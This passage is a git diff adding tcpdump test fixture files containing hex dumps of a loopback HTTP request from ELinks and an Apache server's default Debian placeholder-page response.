+	0x15c0:  6564 3a20 2444 6174 653a 2032 3030 342f  ed:.$Date:.2004/
+	0x15d0:  3036 2f32 3020 3135 3a33 333a 3537 2024  06/20.15:33:57.$
+	0x15e0:  2e0a 2020 2d2d 3e0a 0a3c 2f42 4f44 593e  ....-->..</BODY>
+	0x15f0:  0a3c 2f48 544d 4c3e 0a                   .</HTML>.
+23:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
+	0x0010:  0034 1b6e 4000 4006 2154 7f00 0001 7f00  .4.n@.@.!T......
+	0x0020:  0001 da70 0050 3758 8a49 377a a3a9 8010  ...p.P7X.I7z....
+	0x0030:  305f 10ea 0000 0101 080a 4ddc 9219 4ddc  0_........M...M.
+	0x0040:  9219                                     ..
+23:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
+	0x0010:  0034 1b70 4000 4006 2152 7f00 0001 7f00  .4.p@.@.!R......
+	0x0020:  0001 da70 0050 3758 8a49 377a a3a9 8011  ...p.P7X.I7z....
+	0x0030:  305f 0be1 0000 0101 080a 4ddc 9721 4ddc  0_........M..!M.
+	0x0040:  9219                                     ..
+23:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
+	0x0010:  0034 1fe8 4000 4006 1cda 7f00 0001 7f00  .4..@.@.........
+	0x0020:  0001 0050 da70 377a a3a9 3758 8a4a 8011  ...P.p7z..7X.J..
+	0x0030:  2000 1735 0000 0101 080a 4ddc 9723 4ddc  ...5......M..#M.
+	0x0040:  9721                                     .!
+23:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
+	0x0010:  0034 1b72 4000 4006 2150 7f00 0001 7f00  .4.r@.@.!P......
+	0x0020:  0001 da70 0050 3758 8a4a 377a a3aa 8010  ...p.P7X.J7z....
+	0x0030:  305f 06d4 0000 0101 080a 4ddc 9723 4ddc  0_........M..#M.
+	0x0040:  9723                                     .#
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/print-x.new b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/print-x.new
new file mode 100644
index 0000000000000000000000000000000000000000..3bcc14e1f31e31659c16ff2001e444ef854b9a5e
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/print-x.new
@@ -0,0 +1,409 @@
+23:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+	0x0000:  4500 003c 1b68 4000 4006 2152 7f00 0001
+	0x0010:  7f00 0001 da70 0050 3758 897e 0000 0000
+	0x0020:  a002 7fff 1421 0000 0204 400c 0402 080a
+	0x0030:  4ddc 9216 0000 0000 0103 0302
+23:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+	0x0000:  4500 003c 0000 4000 4006 3cba 7f00 0001
+	0x0010:  7f00 0001 0050 da70 377a 8df1 3758 897f
+	0x0020:  a012 7fff 6eb1 0000 0204 400c 0402 080a
+	0x0030:  4ddc 9216 4ddc 9216 0103 0302
+23:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+	0x0000:  4500 0034 1b6a 4000 4006 2158 7f00 0001
+	0x0010:  7f00 0001 da70 0050 3758 897f 377a 8df2
+	0x0020:  8010 2000 37d0 0000 0101 080a 4ddc 9216
+	0x0030:  4ddc 9216
+23:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+	0x0000:  4500 00fe 1b6c 4000 4006 208c 7f00 0001
+	0x0010:  7f00 0001 da70 0050 3758 897f 377a 8df2
+	0x0020:  8018 2000 fef2 0000 0101 080a 4ddc 9217
+	0x0030:  4ddc 9216 4745 5420 2f20 4854 5450 2f31
+	0x0040:  2e31 0d0a 486f 7374 3a20 6c6f 6361 6c68
+	0x0050:  6f73 740d 0a55 7365 722d 4167 656e 743a
+	0x0060:  2045 4c69 6e6b 732f 302e 3130 2e34 2d37
+	0x0070:  2d64 6562 6961 6e20 2874 6578 746d 6f64
+	0x0080:  653b 204c 696e 7578 2032 2e36 2e31 312d
+	0x0090:  312d 3638 362d 736d 7020 6936 3836 3b20
+	0x00a0:  3133 3278 3536 2d32 290d 0a41 6363 6570
+	0x00b0:  743a 202a 2f2a 0d0a 4163 6365 7074 2d45
+	0x00c0:  6e63 6f64 696e 673a 2067 7a69 700d 0a41
+	0x00d0:  6363 6570 742d 4c61 6e67 7561 6765 3a20
+	0x00e0:  656e 0d0a 436f 6e6e 6563 7469 6f6e 3a20
+	0x00f0:  4b65 6570 2d41 6c69 7665 0d0a 0d0a
+23:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+	0x0000:  4500 0034 1fe4 4000 4006 1cde 7f00 0001
+	0x0010:  7f00 0001 0050 da70 377a 8df2 3758 8a49
+	0x0020:  8010 2000 3703 0000 0101 080a 4ddc 9218
+	0x0030:  4ddc 9217
+23:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+	0x0000:  4500 15eb 1fe6 4000 4006 0725 7f00 0001
+	0x0010:  7f00 0001 0050 da70 377a 8df2 3758 8a49
+	0x0020:  8018 2000 13e0 0000 0101 080a 4ddc 9219
+	0x0030:  4ddc 9217 4854 5450 2f31 2e31 2032 3030
+	0x0040:  204f 4b0d 0a44 6174 653a 2057 6564 2c20
+	0x0050:  3036 204a 756c 2032 3030 3520 3033 3a35
+	0x0060:  373a 3335 2047 4d54 0d0a 5365 7276 6572
+	0x0070:  3a20 4170 6163 6865 2f31 2e33 2e33 330d
+	0x0080:  0a4c 6173 742d 4d6f 6469 6669 6564 3a20
+	0x0090:  5375 6e2c 2031 3520 4175 6720 3230 3034
+	0x00a0:  2030 303a 3433 3a34 3120 474d 540d 0a45
+	0x00b0:  5461 673a 2022 3665 3830 6630 2d31 3438
+	0x00c0:  612d 3431 3165 6231 6264 220d 0a41 6363
+	0x00d0:  6570 742d 5261 6e67 6573 3a20 6279 7465
+	0x00e0:  730d 0a43 6f6e 7465 6e74 2d4c 656e 6774
+	0x00f0:  683a 2035 3235 380d 0a4b 6565 702d 416c
+	0x0100:  6976 653a 2074 696d 656f 7574 3d31 352c
+	0x0110:  206d 6178 3d31 3030 0d0a 436f 6e6e 6563
+	0x0120:  7469 6f6e 3a20 4b65 6570 2d41 6c69 7665
+	0x0130:  0d0a 436f 6e74 656e 742d 5479 7065 3a20
+	0x0140:  7465 7874 2f68 746d 6c3b 2063 6861 7273
+	0x0150:  6574 3d69 736f 2d38 3835 392d 310d 0a0d
+	0x0160:  0a3c 2144 4f43 5459 5045 2048 544d 4c20
+	0x0170:  5055 424c 4943 2022 2d2f 2f57 3343 2f2f
+	0x0180:  4454 4420 4854 4d4c 2034 2e30 3120 5472
+	0x0190:  616e 7369 7469 6f6e 616c 2f2f 454e 223e
+	0x01a0:  0a3c 4854 4d4c 3e0a 3c48 4541 443e 0a20
+	0x01b0:  2020 3c4d 4554 4120 4854 5450 2d45 5155
+	0x01c0:  4956 3d22 436f 6e74 656e 742d 5479 7065
+	0x01d0:  2220 434f 4e54 454e 543d 2274 6578 742f
+	0x01e0:  6874 6d6c 3b20 6368 6172 7365 743d 6973
+	0x01f0:  6f2d 3838 3539 2d31 223e 0a20 2020 3c4d
+	0x0200:  4554 4120 4e41 4d45 3d22 4465 7363 7269
+	0x0210:  7074 696f 6e22 2043 4f4e 5445 4e54 3d22
+	0x0220:  5468 6520 696e 6974 6961 6c20 696e 7374
+	0x0230:  616c 6c61 7469 6f6e 206f 6620 4465 6269
+	0x0240:  616e 2061 7061 6368 652e 223e 0a20 2020
+	0x0250:  3c54 4954 4c45 3e50 6c61 6365 686f 6c64
+	0x0260:  6572 2070 6167 653c 2f54 4954 4c45 3e0a
+	0x0270:  3c2f 4845 4144 3e0a 3c42 4f44 5920 5445
+	0x0280:  5854 3d22 2330 3030 3030 3022 2042 4743
+	0x0290:  4f4c 4f52 3d22 2346 4646 4646 4622 204c
+	0x02a0:  494e 4b3d 2223 3030 3030 4546 2220 564c
+	0x02b0:  494e 4b3d 2223 3535 3138 3841 2220 414c
+	0x02c0:  494e 4b3d 2223 4646 3030 3030 223e 0a0a
+	0x02d0:  3c48 313e 506c 6163 6568 6f6c 6465 7220
+	0x02e0:  7061 6765 3c2f 4831 3e0a 3c48 323e 4966
+	0x02f0:  2079 6f75 2061 7265 206a 7573 7420 6272
+	0x0300:  6f77 7369 6e67 2074 6865 2077 6562 3c2f
+	0x0310:  6832 3e0a 0a3c 503e 5468 6520 6f77 6e65
+	0x0320:  7220 6f66 2074 6869 7320 7765 6220 7369
+	0x0330:  7465 2068 6173 206e 6f74 2070 7574 2075
+	0x0340:  7020 616e 7920 7765 6220 7061 6765 7320
+	0x0350:  7965 742e 0a50 6c65 6173 6520 636f 6d65
+	0x0360:  2062 6163 6b20 6c61 7465 722e 3c2f 503e
+	0x0370:  0a0a 3c50 3e3c 534d 414c 4c3e 3c43 4954
+	0x0380:  453e 4d6f 7665 2061 6c6f 6e67 2c20 6e6f
+	0x0390:  7468 696e 6720 746f 2073 6565 2068 6572
+	0x03a0:  652e 2e2e 3c2f 4349 5445 3e20 3a2d 293c
+	0x03b0:  2f53 4d41 4c4c 3e3c 2f50 3e0a 0a3c 4832
+	0x03c0:  3e49 6620 796f 7520 6172 6520 7472 7969
+	0x03d0:  6e67 2074 6f20 6c6f 6361 7465 2074 6865
+	0x03e0:  2061 646d 696e 6973 7472 6174 6f72 206f
+	0x03f0:  6620 7468 6973 206d 6163 6869 6e65 3c2f
+	0x0400:  4832 3e0a 0a3c 503e 4966 2079 6f75 2077
+	0x0410:  616e 7420 746f 2072 6570 6f72 7420 736f
+	0x0420:  6d65 7468 696e 6720 6162 6f75 7420 7468
+	0x0430:  6973 2068 6f73 7427 7320 6265 6861 7669
+	0x0440:  6f72 2c20 706c 6561 7365 0a63 6f6e 7461
+	0x0450:  6374 2074 6865 2049 6e74 6572 6e65 7420
+	0x0460:  5365 7276 6963 6520 5072 6f76 6964 6572
+	0x0470:  2028 4953 5029 2069 6e76 6f6c 7665 6420
+	0x0480:  6469 7265 6374 6c79 2e3c 2f50 3e0a 0a3c
+	0x0490:  503e 5365 6520 7468 6520 3c41 2068 7265
+	0x04a0:  663d 2268 7474 703a 2f2f 7777 772e 6162
+	0x04b0:  7573 652e 6e65 742f 223e 4e65 7477 6f72
+	0x04c0:  6b20 4162 7573 650a 436c 6561 7269 6e67
+	0x04d0:  686f 7573 653c 2f41 3e20 666f 7220 686f
+	0x04e0:  7720 746f 2064 6f20 7468 6973 2e3c 2f50
+	0x04f0:  3e0a 0a3c 4832 3e49 6620 796f 7520 6172
+	0x0500:  6520 7468 6520 6164 6d69 6e69 7374 7261
+	0x0510:  746f 7220 6f66 2074 6869 7320 6d61 6368
+	0x0520:  696e 653c 2f48 323e 0a0a 3c50 3e54 6865
+	0x0530:  2069 6e69 7469 616c 2069 6e73 7461 6c6c
+	0x0540:  6174 696f 6e20 6f66 203c 4120 6872 6566
+	0x0550:  3d22 6874 7470 3a2f 2f77 7777 2e64 6562
+	0x0560:  6961 6e2e 6f72 672f 223e 4465 6269 616e
+	0x0570:  2773 0a61 7061 6368 653c 2f41 3e20 7765
+	0x0580:  6220 7365 7276 6572 2070 6163 6b61 6765
+	0x0590:  2077 6173 2073 7563 6365 7373 6675 6c2e
+	0x05a0:  3c2f 503e 0a0a 3c50 3e3c 5354 524f 4e47
+	0x05b0:  3e59 6f75 2073 686f 756c 6420 7265 706c
+	0x05c0:  6163 6520 7468 6973 2070 6167 6520 7769
+	0x05d0:  7468 2079 6f75 7220 6f77 6e20 7765 6220
+	0x05e0:  7061 6765 7320 6173 0a73 6f6f 6e20 6173
+	0x05f0:  2070 6f73 7369 626c 652e 3c2f 5354 524f
+	0x0600:  4e47 3e3c 2f50 3e0a 0a3c 503e 556e 6c65
+	0x0610:  7373 2079 6f75 2063 6861 6e67 6564 2069
+	0x0620:  7473 2063 6f6e 6669 6775 7261 7469 6f6e
+	0x0630:  2c20 796f 7572 206e 6577 2073 6572 7665
+	0x0640:  7220 6973 2063 6f6e 6669 6775 7265 6420
+	0x0650:  6173 2066 6f6c 6c6f 7773 3a0a 3c55 4c3e
+	0x0660:  0a3c 4c49 3e0a 436f 6e66 6967 7572 6174
+	0x0670:  696f 6e20 6669 6c65 7320 6361 6e20 6265
+	0x0680:  2066 6f75 6e64 2069 6e20 3c54 543e 2f65
+	0x0690:  7463 2f61 7061 6368 653c 2f54 543e 2e3c
+	0x06a0:  2f4c 493e 0a0a 3c4c 493e 0a54 6865 203c
+	0x06b0:  5454 3e44 6f63 756d 656e 7452 6f6f 743c
+	0x06c0:  2f54 543e 2c20 7768 6963 6820 6973 2074
+	0x06d0:  6865 2064 6972 6563 746f 7279 2075 6e64
+	0x06e0:  6572 2077 6869 6368 2061 6c6c 2079 6f75
+	0x06f0:  720a 4854 4d4c 2066 696c 6573 2073 686f
+	0x0700:  756c 6420 6578 6973 742c 2069 7320 7365
+	0x0710:  7420 746f 203c 5454 3e2f 7661 722f 7777
+	0x0720:  773c 2f54 543e 2e3c 2f4c 493e 0a0a 3c4c
+	0x0730:  493e 0a43 4749 2073 6372 6970 7473 2061
+	0x0740:  7265 206c 6f6f 6b65 6420 666f 7220 696e
+	0x0750:  203c 5454 3e2f 7573 722f 6c69 622f 6367
+	0x0760:  692d 6269 6e3c 2f54 543e 2c20 7768 6963
+	0x0770:  6820 6973 2077 6865 7265 0a44 6562 6961
+	0x0780:  6e20 7061 636b 6167 6573 2077 696c 6c20
+	0x0790:  706c 6163 6520 7468 6569 7220 7363 7269
+	0x07a0:  7074 732e 3c2f 4c49 3e0a 0a3c 4c49 3e0a
+	0x07b0:  4c6f 6720 6669 6c65 7320 6172 6520 706c
+	0x07c0:  6163 6564 2069 6e20 3c54 543e 2f76 6172
+	0x07d0:  2f6c 6f67 2f61 7061 6368 653c 2f54 543e
+	0x07e0:  2c20 616e 6420 7769 6c6c 2062 6520 726f
+	0x07f0:  7461 7465 640a 7765 656b 6c79 2e20 2054
+	0x0800:  6865 2066 7265 7175 656e 6379 206f 6620
+	0x0810:  726f 7461 7469 6f6e 2063 616e 2062 6520
+	0x0820:  6561 7369 6c79 2063 6861 6e67 6564 2062
+	0x0830:  7920 6564 6974 696e 670a 3c54 543e 2f65
+	0x0840:  7463 2f6c 6f67 726f 7461 7465 2e64 2f61
+	0x0850:  7061 6368 653c 2f54 543e 2e3c 2f4c 493e
+	0x0860:  0a0a 3c4c 493e 0a54 6865 2064 6566 6175
+	0x0870:  6c74 2064 6972 6563 746f 7279 2069 6e64
+	0x0880:  6578 2069 7320 3c54 543e 696e 6465 782e
+	0x0890:  6874 6d6c 3c2f 5454 3e2c 206d 6561 6e69
+	0x08a0:  6e67 2074 6861 7420 7265 7175 6573 7473
+	0x08b0:  0a66 6f72 2061 2064 6972 6563 746f 7279
+	0x08c0:  203c 5454 3e2f 666f 6f2f 6261 722f 3c2f
+	0x08d0:  5454 3e20 7769 6c6c 2067 6976 6520 7468
+	0x08e0:  6520 636f 6e74 656e 7473 206f 6620 7468
+	0x08f0:  6520 6669 6c65 203c 5454 3e2f 7661 722f
+	0x0900:  7777 772f 666f 6f2f 6261 722f 696e 6465
+	0x0910:  782e 6874 6d6c 3c2f 5454 3e0a 6966 2069
+	0x0920:  7420 6578 6973 7473 2028 6173 7375 6d69
+	0x0930:  6e67 2074 6861 7420 3c54 543e 2f76 6172
+	0x0940:  2f77 7777 3c2f 5454 3e20 6973 2079 6f75
+	0x0950:  7220 3c54 543e 446f 6375 6d65 6e74 526f
+	0x0960:  6f74 3c2f 5454 3e29 2e3c 2f4c 493e 0a0a
+	0x0970:  3c4c 493e 0a55 7365 7220 6469 7265 6374
+	0x0980:  6f72 6965 7320 6172 6520 656e 6162 6c65
+	0x0990:  642c 2061 6e64 2075 7365 7220 646f 6375
+	0x09a0:  6d65 6e74 7320 7769 6c6c 2062 6520 6c6f
+	0x09b0:  6f6b 6564 2066 6f72 0a69 6e20 7468 6520
+	0x09c0:  3c54 543e 7075 626c 6963 5f68 746d 6c3c
+	0x09d0:  2f54 543e 2064 6972 6563 746f 7279 206f
+	0x09e0:  6620 7468 6520 7573 6572 7327 2068 6f6d
+	0x09f0:  6573 2e20 2054 6865 7365 2064 6972 730a
+	0x0a00:  7368 6f75 6c64 2062 6520 756e 6465 7220
+	0x0a10:  3c54 543e 2f68 6f6d 653c 2f54 543e 2c20
+	0x0a20:  616e 6420 7573 6572 7320 7769 6c6c 206e
+	0x0a30:  6f74 2062 6520 6162 6c65 2074 6f20 7379
+	0x0a40:  6d6c 696e 6b0a 746f 2066 696c 6573 2074
+	0x0a50:  6865 7920 646f 6e27 7420 6f77 6e2e 3c2f
+	0x0a60:  4c49 3e0a 0a3c 2f55 4c3e 0a41 6c6c 2074
+	0x0a70:  6865 2073 7461 6e64 6172 6420 6170 6163
+	0x0a80:  6865 206d 6f64 756c 6573 2061 7265 2061
+	0x0a90:  7661 696c 6162 6c65 2077 6974 6820 7468
+	0x0aa0:  6973 2072 656c 6561 7365 2061 6e64 2061
+	0x0ab0:  7265 0a6e 6f77 206d 616e 6167 6564 2077
+	0x0ac0:  6974 6820 6465 6263 6f6e 662e 2020 5479
+	0x0ad0:  7065 203c 5454 3e64 706b 672d 7265 636f
+	0x0ae0:  6e66 6967 7572 6520 6170 6163 6865 3c2f
+	0x0af0:  5454 3e20 746f 0a73 656c 6563 7420 7768
+	0x0b00:  6963 6820 6d6f 6475 6c65 7320 796f 7520
+	0x0b10:  7761 6e74 2065 6e61 626c 6564 2e20 204d
+	0x0b20:  616e 7920 6f74 6865 7220 6d6f 6475 6c65
+	0x0b30:  7320 6172 6520 6176 6169 6c61 626c 650a
+	0x0b40:  7468 726f 7567 6820 7468 6520 4465 6269
+	0x0b50:  616e 2070 6163 6b61 6765 2073 7973 7465
+	0x0b60:  6d20 7769 7468 2074 6865 206e 616d 6573
+	0x0b70:  203c 5454 3e6c 6962 6170 6163 6865 2d6d
+	0x0b80:  6f64 2d2a 3c2f 5454 3e2e 0a49 6620 796f
+	0x0b90:  7520 6e65 6564 2074 6f20 636f 6d70 696c
+	0x0ba0:  6520 6120 6d6f 6475 6c65 2079 6f75 7273
+	0x0bb0:  656c 662c 2079 6f75 2077 696c 6c20 6e65
+	0x0bc0:  6564 2074 6f20 696e 7374 616c 6c20 7468
+	0x0bd0:  650a 3c54 543e 6170 6163 6865 2d64 6576
+	0x0be0:  3c2f 5454 3e20 7061 636b 6167 652e 0a0a
+	0x0bf0:  3c50 3e4d 6f72 6520 646f 6375 6d65 6e74
+	0x0c00:  6174 696f 6e20 6f6e 2041 7061 6368 6520
+	0x0c10:  6361 6e20 6265 2066 6f75 6e64 206f 6e3a
+	0x0c20:  0a3c 554c 3e0a 3c4c 493e 0a54 6865 203c
+	0x0c30:  4120 4852 4546 3d22 2f64 6f63 2f61 7061
+	0x0c40:  6368 652d 646f 632f 6d61 6e75 616c 2f22
+	0x0c50:  3e41 7061 6368 6520 646f 6375 6d65 6e74
+	0x0c60:  6174 696f 6e3c 2f41 3e20 7374 6f72 6564
+	0x0c70:  206f 6e20 796f 7572 2073 6572 7665 722e
+	0x0c80:  3c2f 4c49 3e0a 0a3c 4c49 3e0a 5468 6520
+	0x0c90:  3c41 2048 5245 463d 2268 7474 703a 2f2f
+	0x0ca0:  7777 772e 6170 6163 6865 2e6f 7267 2f22
+	0x0cb0:  3e41 7061 6368 6520 5072 6f6a 6563 743c
+	0x0cc0:  2f41 3e20 686f 6d65 2073 6974 652e 3c2f
+	0x0cd0:  4c49 3e0a 0a3c 4c49 3e0a 5468 6520 3c41
+	0x0ce0:  2048 5245 463d 2268 7474 703a 2f2f 7777
+	0x0cf0:  772e 6170 6163 6865 2d73 736c 2e6f 7267
+	0x0d00:  2f22 3e41 7061 6368 652d 5353 4c3c 2f41
+	0x0d10:  3e20 686f 6d65 2073 6974 652e 3c2f 4c49
+	0x0d20:  3e0a 0a3c 4c49 3e0a 5468 6520 3c41 2048
+	0x0d30:  5245 463d 2268 7474 703a 2f2f 7065 726c
+	0x0d40:  2e61 7061 6368 652e 6f72 672f 223e 6d6f
+	0x0d50:  6420 7065 726c 3c2f 413e 2068 6f6d 6520
+	0x0d60:  7369 7465 2e3c 2f4c 493e 0a0a 3c4c 493e
+	0x0d70:  0a54 6865 203c 4120 4852 4546 3d22 6874
+	0x0d80:  7470 3a2f 2f77 7777 2e61 7061 6368 6577
+	0x0d90:  6565 6b2e 636f 6d2f 223e 4170 6163 6865
+	0x0da0:  5765 656b 3c2f 413e 206e 6577 736c 6574
+	0x0db0:  7465 722e 3c2f 4c49 3e0a 0a3c 4c49 3e0a
+	0x0dc0:  5468 6520 3c41 2048 5245 463d 2268 7474
+	0x0dd0:  703a 2f2f 7777 772e 6465 6269 616e 2e6f
+	0x0de0:  7267 2f64 6f63 2f22 3e44 6562 6961 6e20
+	0x0df0:  5072 6f6a 6563 740a 446f 6375 6d65 6e74
+	0x0e00:  6174 696f 6e3c 2f41 3e20 7768 6963 6820
+	0x0e10:  636f 6e74 6169 6e73 2048 4f57 544f 732c
+	0x0e20:  2046 4151 732c 2061 6e64 2073 6f66 7477
+	0x0e30:  6172 6520 7570 6461 7465 732e 3c2f 4c49
+	0x0e40:  3e0a 3c2f 554c 3e0a 0a3c 503e 596f 7520
+	0x0e50:  6361 6e20 616c 736f 2063 6f6e 7375 6c74
+	0x0e60:  2074 6865 206c 6973 7420 6f66 203c 4120
+	0x0e70:  4852 4546 3d22 6874 7470 3a2f 2f77 7777
+	0x0e80:  2e62 6f75 7465 6c6c 2e63 6f6d 2f66 6171
+	0x0e90:  2f22 3e57 6f72 6c64 0a57 6964 6520 5765
+	0x0ea0:  6220 4672 6571 7565 6e74 6c79 2041 736b
+	0x0eb0:  6564 2051 7565 7374 696f 6e73 3c2f 413e
+	0x0ec0:  2066 6f72 2069 6e66 6f72 6d61 7469 6f6e
+	0x0ed0:  2e0a 0a3c 4832 3e4c 6574 206f 7468 6572
+	0x0ee0:  2070 656f 706c 6520 6b6e 6f77 2061 626f
+	0x0ef0:  7574 2074 6869 7320 7365 7276 6572 3c2f
+	0x0f00:  4832 3e0a 0a3c 4120 4852 4546 3d22 6874
+	0x0f10:  7470 3a2f 2f6e 6574 6372 6166 742e 636f
+	0x0f20:  6d2f 223e 4e65 7463 7261 6674 3c2f 413e
+	0x0f30:  2070 726f 7669 6465 7320 616e 2069 6e74
+	0x0f40:  6572 6573 7469 6e67 2066 7265 650a 7365
+	0x0f50:  7276 6963 6520 666f 7220 7765 6220 7369
+	0x0f60:  7465 206d 6f6e 6974 6f72 696e 6720 616e
+	0x0f70:  6420 7374 6174 6973 7469 6320 636f 6c6c
+	0x0f80:  6563 7469 6f6e 2e0a 596f 7520 6361 6e20
+	0x0f90:  6c65 7420 7468 656d 206b 6e6f 7720 6162
+	0x0fa0:  6f75 7420 796f 7572 2073 6572 7665 7220
+	0x0fb0:  7573 696e 6720 7468 6569 720a 3c41 2048
+	0x0fc0:  5245 463d 2268 7474 703a 2f2f 7570 7469
+	0x0fd0:  6d65 2e6e 6574 6372 6166 742e 636f 6d2f
+	0x0fe0:  223e 696e 7465 7266 6163 653c 2f41 3e2e
+	0x0ff0:  0a45 6e61 626c 696e 6720 7468 6520 6d6f
+	0x1000:  6e69 746f 7269 6e67 206f 6620 796f 7572
+	0x1010:  2073 6572 7665 7220 7769 6c6c 2070 726f
+	0x1020:  7669 6465 2061 2062 6574 7465 7220 676c
+	0x1030:  6f62 616c 206f 7665 7276 6965 770a 6f66
+	0x1040:  2077 686f 2069 7320 7573 696e 6720 7768
+	0x1050:  6174 2061 6e64 2077 6865 7265 2c20 616e
+	0x1060:  6420 6974 2077 6f75 6c64 2067 6976 6520
+	0x1070:  4465 6269 616e 2061 2062 6574 7465 720a
+	0x1080:  6f76 6572 7669 6577 206f 6620 7468 6520
+	0x1090:  6170 6163 6865 2070 6163 6b61 6765 2075
+	0x10a0:  7361 6765 2e0a 0a3c 4832 3e41 626f 7574
+	0x10b0:  2074 6869 7320 7061 6765 3c2f 4832 3e0a
+	0x10c0:  0a3c 494d 4720 414c 4947 4e3d 2272 6967
+	0x10d0:  6874 2220 414c 543d 2222 2048 4549 4748
+	0x10e0:  543d 2232 3437 2220 5749 4454 483d 2232
+	0x10f0:  3738 2220 5352 433d 2269 636f 6e73 2f6a
+	0x1100:  6865 3036 312e 706e 6722 3e0a 0a3c 503e
+	0x1110:  5468 6973 2069 7320 6120 706c 6163 6568
+	0x1120:  6f6c 6465 7220 7061 6765 2069 6e73 7461
+	0x1130:  6c6c 6564 2062 7920 7468 6520 3c41 0a48
+	0x1140:  5245 463d 2268 7474 703a 2f2f 7777 772e
+	0x1150:  6465 6269 616e 2e6f 7267 2f22 3e44 6562
+	0x1160:  6961 6e3c 2f41 3e0a 7265 6c65 6173 6520
+	0x1170:  6f66 2074 6865 2061 7061 6368 6520 5765
+	0x1180:  6220 7365 7276 6572 2070 6163 6b61 6765
+	0x1190:  2e0a 0a3c 503e 5468 6973 2063 6f6d 7075
+	0x11a0:  7465 7220 6861 7320 696e 7374 616c 6c65
+	0x11b0:  6420 7468 6520 4465 6269 616e 2047 4e55
+	0x11c0:  2f4c 696e 7578 206f 7065 7261 7469 6e67
+	0x11d0:  2073 7973 7465 6d2c 0a62 7574 2069 7420
+	0x11e0:  6861 7320 3c73 7472 6f6e 673e 6e6f 7468
+	0x11f0:  696e 6720 746f 2064 6f20 7769 7468 2074
+	0x1200:  6865 2044 6562 6961 6e0a 5072 6f6a 6563
+	0x1210:  743c 2f73 7472 6f6e 673e 2e20 506c 6561
+	0x1220:  7365 2064 6f20 3c73 7472 6f6e 673e 6e6f
+	0x1230:  743c 2f73 7472 6f6e 673e 2063 6f6e 7461
+	0x1240:  6374 2074 6865 2044 6562 6961 6e0a 5072
+	0x1250:  6f6a 6563 7420 6162 6f75 7420 6974 2e3c
+	0x1260:  2f50 3e0a 0a3c 503e 4966 2079 6f75 2066
+	0x1270:  696e 6420 6120 6275 6720 696e 2074 6869
+	0x1280:  7320 6170 6163 6865 2070 6163 6b61 6765
+	0x1290:  2c20 6f72 2069 6e20 4170 6163 6865 2069
+	0x12a0:  7473 656c 662c 0a70 6c65 6173 6520 6669
+	0x12b0:  6c65 2061 2062 7567 2072 6570 6f72 7420
+	0x12c0:  6f6e 2069 742e 2020 496e 7374 7275 6374
+	0x12d0:  696f 6e73 206f 6e20 646f 696e 6720 7468
+	0x12e0:  6973 2c20 616e 6420 7468 650a 6c69 7374
+	0x12f0:  206f 6620 3c41 2048 5245 463d 2268 7474
+	0x1300:  703a 2f2f 6275 6773 2e64 6562 6961 6e2e
+	0x1310:  6f72 672f 7372 633a 6170 6163 6865 223e
+	0x1320:  6b6e 6f77 6e20 6275 6773 3c2f 413e 206f
+	0x1330:  6620 7468 6973 0a70 6163 6b61 6765 2c20
+	0x1340:  6361 6e20 6265 2066 6f75 6e64 2069 6e20
+	0x1350:  7468 6520 0a3c 4120 4852 4546 3d22 6874
+	0x1360:  7470 3a2f 2f77 7777 2e64 6562 6961 6e2e
+	0x1370:  6f72 672f 4275 6773 2f52 6570 6f72 7469
+	0x1380:  6e67 223e 4465 6269 616e 2042 7567 2054
+	0x1390:  7261 636b 696e 6720 5379 7374 656d 3c2f
+	0x13a0:  413e 2e0a 0a3c 503e 5468 616e 6b73 2066
+	0x13b0:  6f72 2075 7369 6e67 2074 6869 7320 7061
+	0x13c0:  636b 6167 652c 2061 6e64 2063 6f6e 6772
+	0x13d0:  6174 756c 6174 696f 6e73 2066 6f72 2079
+	0x13e0:  6f75 7220 6368 6f69 6365 206f 660a 6120
+	0x13f0:  4465 6269 616e 2073 7973 7465 6d21 3c2f
+	0x1400:  503e 0a0a 3c44 4956 2061 6c69 676e 3d22
+	0x1410:  6365 6e74 6572 223e 0a3c 6120 6872 6566
+	0x1420:  3d22 6874 7470 3a2f 2f77 7777 2e64 6562
+	0x1430:  6961 6e2e 6f72 672f 223e 0a3c 494d 4720
+	0x1440:  616c 6967 6e3d 226d 6964 646c 6522 2068
+	0x1450:  6569 6768 743d 2233 3022 2077 6964 7468
+	0x1460:  3d22 3235 2220 7372 633d 2269 636f 6e73
+	0x1470:  2f64 6562 6961 6e2f 6f70 656e 6c6f 676f
+	0x1480:  2d32 352e 6a70 6722 2061 6c74 3d22 4465
+	0x1490:  6269 616e 223e 0a3c 2f61 3e0a 3c61 2068
